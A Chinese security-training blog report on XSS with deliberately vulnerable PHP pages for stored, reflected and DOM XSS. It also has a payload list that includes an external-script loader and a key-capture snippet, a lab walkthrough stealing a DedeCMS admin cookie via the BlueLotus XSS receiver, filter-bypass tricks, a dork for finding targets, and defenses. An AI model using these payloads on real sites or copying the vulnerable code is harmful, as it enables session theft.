Bu1'Blog

如果能控制粗鄙的狂喜,就不会有深入骨髓的悲伤。

0%

第十二周:XSS漏洞学习实战

任务标题:web安全之XSS漏洞学习实战

1、编写一个存在 xss 漏洞的页面

2、利用 xss 漏洞获取当前用户 cookie

3、思考,利用 xss 漏洞能干嘛(参考 beef)

报告要求:记录编写的页面代码、操作流程、思考总结

扩展学习:学习如何防御 xss、总结防御策略加到报告里

学习报告

0x01 XSS简介

XSS(Cross Site Scripting)攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中,当受害者访问这些页面时,浏览器会解析并执行这些恶意代码,从而达到窃取用户身份/钓鱼/传播恶意代码等行为。主要有三种类型:存储型XSS、反射型XSS也叫做非持久性、Dom型XSS。

1. 存储型XSS

攻击流程

存储型XSS又称为持久型XSS,攻击者将XSS代码发送给了服务器,而服务器没有对这些代码做任何处理就直接存储在了数据库中,当下一个用户访问网站时直接从数据库调用出来传给前端,浏览器解析XSS代码就造成了XSS攻击。常见的攻击点在个人信息、发表文章、留言板等地方。

流程图如下:

image-20210108094756253

通过流程图可以很容易知道存储型XSS的常用攻击流程为:攻击者前端插入恶意XSS代码—>后端不做处理传入数据库—>别的用户访问页面—>后端从数据库中调用XSS代码—>前端渲染(执行js脚本)恶意代码实现攻击。

实例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<html><head>
<title>留言板</title>
</head>
<body>
<h2>存储型XSS测试<h2>
<br>
<form action="test.php" method="post">
请输入你要留言的内容:<textarea id='Mid' name="desc"></textarea>
<br>
<br>
请输入你的ID:<input type="text" name="user"/><br>
<br>
<input type="submit" value="提交" onclick='loction="test.php"'/>
</form>
<?php
if(isset($_POST['user'])&&isset($_POST['desc'])){
$log=fopen("store.txt","a");
fwrite($log,$_POST['user']."\r\n");
fwrite($log,$_POST['desc']."\r\n");
fclose($log);}
if(file_exists("store.txt")){
$read=fopen("store.txt",'r');
while(!feof($read)){
echo fgets($read)."</br>";
}
fclose($read);
}
?>
</body></html>

访问搭建好的测试代码,这里的store.txt文件模拟为后端数据库。

image-20210108102719695

在留言内容中插入<script>alert("hack")</script> ,然后提交。已经将数据写入的到数据库(store.txt)中了,现在每次访问这个页面都会弹窗。

image-20210108103109009

看一下网页源代码,可以看到之前测试插入的代码从数据库中抽出来了,这里有四个的原因是因为我重复刷新了四次作为测试。

image-20210108103238345

在实际的渗透测试过程中我们要注意传递带有""可能会导致闭合sql语句引起程序错误,所有在测试语句中需要转义一下<script>alert(\'hack\')</script> 或者<script>alert(/hack/)</script>

2. 反射性XSS

攻击流程

反射型XSS非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面,在发生请求时,XSS代码出现在请求URL中,作为参数提交到服务器,服务器解析并响应。响应结果中包含XSS代码,最后浏览器解析并执行。从概念上可以看出,反射型XSS代码是首先出现在URL中的,然后需要服务端解析,最后需要浏览器解析之后XSS代码才能够攻击。这类攻击手段大多数是用来盗取用户的Cookie信息。

流程图如下:

image-20210108094651918

通过流程图可以很容易知道存储型XSS的常用攻击流程为:攻击者构造带有恶意XSS代码的URL—>别的用户访问这个URL—>恶意代码被服务器解析—>传递给前端渲染实现攻击。

实例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<head>
<title>XSS_test</title>
<meta http-equiv="content-type" content="txt/html; charset=utf-8" />
</head>
<body>
<h2>反射型XSS测试<h2>
<br>
<?php
$age = $_GET['age'];
echo "<h1>我的年龄是".$age."</h1>";
?>
</body></html>

这个代码的意思很简单,就是读取一个age的值并将它打印到屏幕上,当我们精心构造特殊值的时候就可以引起反射型XSS攻击,比如这个实例中,我们将age赋值为<script>alert("hack")</script> ,然后再将整个链接发送给被攻击者,通过社工等手段引诱被攻击者点击这个链接就可以实现XSS攻击。

image-20210108125702703

看一下网页源代码,发现插入进去的js脚本被完完全全的执行了。

image-20210108125859890

3. Dom型XSS

攻击流程

DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,并不经过后端,DOM型XSS总的来说危害较小,一般也归属于反射型XSS的一种。

常见的流程是JS代码通过获取页面referer来构造一个img节点来,然后加入到页面DOM树来实现发起一个GET请求,从而实现一个统计访问来源的目的这样一个功能,那么我们就可以通过构造一个网址中带有攻击代码的页面,通过A链接访问存在XSS的目标页面,于是乎当页面的JS在构造那样一个img节点的时候就将带有Payload的代码的来源地址直接构造到页面,于是就导致了DOM 型XSS的产生。

可能触发DOM型XSS的属性

document.referer、window.name、location、innerHTML、documen.write

关于Dom的解释:https://blog.csdn.net/qq_36119192/article/details/82933873

通过上面的解释可以很容易知道Dom型XSS的常用攻击流程为:攻击者前端插入恶意XSS代码—>前端渲染(执行js脚本)恶意代码实现攻击。

实例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<html>
<head lang="en">
<meta charset="UTF-8">
<title>XSS_test</title>
</head>
<body>
<h2>DOM型XSS测试<h2>
<form action="test.php" method="post">
<input type="text" name="name" />
<input type="submit" value="提交" onclick='loction="test.php"'>
</form>
</body>
</html>
<?php
$name=$_POST["name"];
?>
<input id="text" type="text" value="<?php echo $name; ?>"/>
<div id="print"></div>
<script type="text/javascript">
var text=document.getElementById("text");
var print=document.getElementById("print");
print.innerHTML=text.value;
</script>

发送我们的<img src=1 onerror=alert('hack')>,操作标签来执行js。

image-20210108150648399

通过上面的流程我们知道了Dom型与其余两种XSS情形的主要区别在于直接插入js代码没有回显,Dom没有页面回显(不会被执行),我们要利用DOM的特性来操作插入标签这样就js代码就会被执行,如上文演示的源码,我们利用innerHTML属性插入了一个img标签,再利用标签引起了js的执行。

4.常用的攻击载荷

  • <script>标签

    1
    2
    3
    4
    5
    6
    “><script>alert('xss')</script>
    <script>alert("hack")</script> #弹出hack
    <script>alert(/hack/)</script> #弹出hack
    <script>alert(1)</script> #弹出1,对于数字可以不用引号
    <script>alert(document.cookie)</script> #弹出cookie
    <script src=http://xxx.com/xss.js></script> #引用外部的xss
  • <svg>标签

    1
    2
    <svg onload="alert(1)">
    <svg onload="alert(1)"//
  • <img>标签

    1
    2
    <img  src=1  οnerrοr=alert("hack")>
    <img src=1 οnerrοr=alert(document.cookie)> #弹出cookie
  • <body>标签

    1
    2
    <body οnlοad=alert(1)>
    <body οnpageshοw=alert(1)>
  • video标签

    1
    <video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />
  • style标签

    <style οnlοad=alert(1)></style>

  • 监听键盘onkeydown事件

    1
    2
    3
    4
    document.onkeydown=funciont(e){
    if(!e)e=window.event;
    try(hijack();)catch(ex){}
    }
  • 捕获用户输入的特定键

    1
    2
    3
    4
    5
    6
    7
    8
    <script>
    function keyDown(){
    var keycode = event.keyCode;
    var realkey = String.fromCharCode(event.keyCode);
    alert("按键码: " + keycode + " 字符: " + realkey);
    }
    document.onkeydown = keyDown;
    </scrip>

0x02 XSS实战

1. 本地XSS平台搭建

首先下载清华蓝莲花战队开发的XSS平台https://github.com/trysec/BlueLotus_XSSReceiver

下载后直接拖到上次安装好的phpstudy文件中,访问相应链接开始安装即可。

image-20210107185039709

安装完成后进入后台来新建自己的一个项目,插入了一个常见的模板,修改好website的值,为源码所在的文件夹,再修改一行明显的文字作为攻击成功的提示。

image-20210107190729950

生成专属的payload

image-20210107191153852

2. 利用XSS获取管理员的COOKIE

这次用的是比较经典的织梦建站程序,版本号为DedeCmsV5.6-GBK,下载地址为http://www.dedecms.com/products/dedecms/downloads/,下载后解压,依照上面的安装流程将解压好的程序放入phpstudy的WWW文件夹中,然后安装。

新建一篇文章,然后评论内容就是我们之前构造的payload。

image-20210107212147753

管理员登录后台显示XSS攻击成功。

image-20210107215703375

返回我们本地搭建好的xss平台发现已经有了返回信息

image-20210107215828732

至此,XSS攻击成功。

0x03 XSS危害与防御

1. XSS利用框架

image-20210108153209725

  • 挖掘XSS漏洞小技巧:

    利用谷歌搜索XSS漏洞:inurl:’Product.asp?BigClassName 。地址中存在百分号的URL和汉字的URL中大部分都会存在XSS漏洞。

  • XSS 常见攻击方法

    1、绕过 XSS-Filter,利用 <> 标签注入 Html/JavaScript 代码;

    2、利用 HTML 标签的属性值进行 XSS 攻击。例如:<img src=“javascript:alert(‘xss’)”/>;(当然并不是所有的 Web 浏览器都支持 Javascript 伪协议,所以此类 XSS 攻击具有一定的局限性)

    3、空格、回车和 Tab。如果 XSS Filter 仅仅将敏感的输入字符列入黑名单,比如 javascript,用户可以利用空格、回车和 Tab 键来绕过过滤,例如:<img src=“javas cript:alert(/xss/);”/>;

    4、利用事件来执行跨站脚本。例如:<img src=“#” onerror= “alert(1)”/>,当 src 错误的视乎就会执行 onerror 事件;

    5、利用 CSS 跨站。例如:body {backgrund-image: url(“javascript:alert(‘xss’)”)}

    6、扰乱过滤规则。例如:<IMG SRC=“javaSCript: alert(/xss/);”/>

    7、利用字符编码,通过这种技巧,不仅能让 XSS 代码绕过服务端的过滤,还能更好地隐藏 Shellcode;( JS 支持 unicode、eacapes、十六进制、十进制等编码形式);

    8、拆分跨站法,将 XSS 攻击的代码拆分开来,适用于应用程序没有过滤 XSS 关键字符(如<、>)却对输入字符长度有限制的情况下;

    9、DOM 型的 XSS 主要是由客户端的脚本通过 DOM 动态地输出数据到页面上,它不依赖于提交数据到服务器,而是从客户端获得DOM中的数据在本地执行。容易导致 DOM 型的 XSS 的输入源包括:Document.URL、Location(.pathname|.href|.search|.hash)、Document.referrer、Window.name、Document.cookie、localStorage/globalStorage

2. XSS的危害

  • 对于普通用户(Cookies、隐私数据、lP、日志、相片、邮件、CSRF等)
  • 客户端攻击(浏览器特权域、插件、APP、WebView等)
  • 管理员(后台地址、页面源码、管理员信息、CSRF等)
  • 内网渗透(端口扫描、ST2利用、路由器)
  • 键盘记录、rootkit、蠕虫攻击、水坑、钓鱼、劫持…

image-20210108153631445

3. XSS的防御

通过对上面内容进行学习,容易知道主要前端页面完全信任了用户输入的数据导致了XSS漏洞出现,所以我们可以在前端加上过滤代码、转义代码。如将\转义成为\\/转义成为\/;转义成为中文

注意:在对不可信数据做编码的时候,不能图方便使用反斜杠\ 对特殊字符进行简单转义,比如将双引号 转义成 \”,这样做是不可靠的,因为浏览器在对页面做解析的时候,会先进行HTML解析,然后才是JavaScript解析,所以双引号很可能会被当做HTML字符进行HTML解析,这时双引号就可以突破代码的值部分,使得攻击者可以继续进行XSS攻击;另外,输出的变量的时候,变量值必须在引号内部,避免安全问题;更加严格的方式,对除了数字和字母以外的所有字符,使用十六进制\xhh 的方式进行编码。

其次,假如攻击者有一定几率绕过前端防御,可以将cookie 标记为 http only,这样的话当浏览器向服务端发起请求时就会带上 cookie 字段,但是在脚本中却不能访问 cookie,这样就避免了 XSS 攻击利用 js 的 document.cookie获取 cookie。

常用的另外两种办法:

  1. 使用XSS Filter

    针对用户提交的数据进行有效的验证,只接受我们规定的长度或内容的提交,过滤掉其他的输入内容。比如:

    • 表单数据指定值的类型:年龄只能是 int 、名字只能是字母数字等。
    • 过滤或移除特殊的 html 标签:<script><iframe>等。
    • 过滤 js 事件的标签:onclickonerroronfocus等。
  2. html实体编码

    当需要往 HTML 标签之间插入不可信数据的时候,首先要做的就是对不可信数据进行 HTML Entity 编码,在html中有些字符对于HTML来说是具有特殊意义的,所以这些特殊字符不允许在文本中直接使用,需要使用实体字符。 html 实体的存在是导致 XSS 漏洞的主要原因之一,因此我们需要将实体转化为相应的实体编号。

    image-20210108155930639

0x04 参考链接